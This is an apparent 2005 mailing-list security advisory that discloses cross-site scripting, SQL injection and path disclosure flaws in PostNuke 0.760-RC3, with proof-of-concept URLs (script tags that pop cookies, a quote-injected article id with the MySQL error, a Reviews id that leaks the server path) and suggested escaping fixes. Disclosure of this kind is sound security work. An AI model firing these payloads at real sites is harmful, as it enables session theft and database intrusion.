Date: 8 Apr 2005 02:36:02 -0000
From: dcrab <dcrab@hackerscenter.com.>
To: [email protected]Subject: Sql injection, xss and path disclosure vulnerabilities in
PostNuke 0.760-RC3
X-Virus-Scanned: antivirus-gw at tyumen.ru
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Dcrab 's Security Advisory
[Hsc Security Group] http://www.hackerscenter.com/
[dP Security] http://digitalparadox.org/
Get Dcrab's Services to audit your Web servers, scripts, networks, etc. Learn more at http://www.digitalparadox.org/services.ah
GET INFORMED FIRST ABOUT MY ADVISORIES http://www.digitalparadox.org
Severity: Medium
Title: Sql injection, xss and path disclosure vulnerabilities in PostNuke 0.760-RC3
Date: 08/04/2005
Vendor: PostNuke
Vendor Website: http://www.postnuke.com
Summary: There are, sql injection, xss and path disclosure vulnerabilities in postnuke 0.760-rc3.
Proof of Concept Exploits:
http://localhost/admin.php?module="><script>alert(document.cookie)</script>&op=main&POSTNUKESID=355776cfb622466924a7096d4471a480
Pops cookie
http://localhost/modules.php?op=modload&name=News&file=article&sid='SQL_INJECTION&POSTNUKESID=355776cfb622466924a7096d4471a480
SQL INJECTION (look wayyy on the bottom of the page)
DB Error: getArticles: 1064: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for
the right syntax to use near '\'SQL_INJECTION' at line 23
http://localhost/modules.php?op=modload&name=Reviews&file=index&req=showcontent&id='&POSTNUKESID=355776cfb622466924a7096d4471a480
Server Path disclosure
Fatal error: Call to a member function on a non-object in /home/httpd/vhosts/localhost/httpdocs/modules/Reviews/index.php on line 976
http://localhost/user.php?op="><script>alert(document.cookie)</script>&module=NS-NewUser&POSTNUKESID=355776cfb622466924a7096d4471a480
Pops cookie
Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(), mysql_real_escape_string() and other functions for input
validation before passing user input to the mysql database, or before echoing data on the screen, would solve these problems.
Keep your self updated, Rss feed at: http://digitalparadox.org/rss.ah
Author:
These vulnerabilties have been found and released by Diabolic Crab, Email: dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel
free to contact me regarding these vulnerabilities. You can find me at, http://www.hackerscenter.com or http://digitalparadox.org/.
Lookout or my soon to come out book on Secure coding with php.
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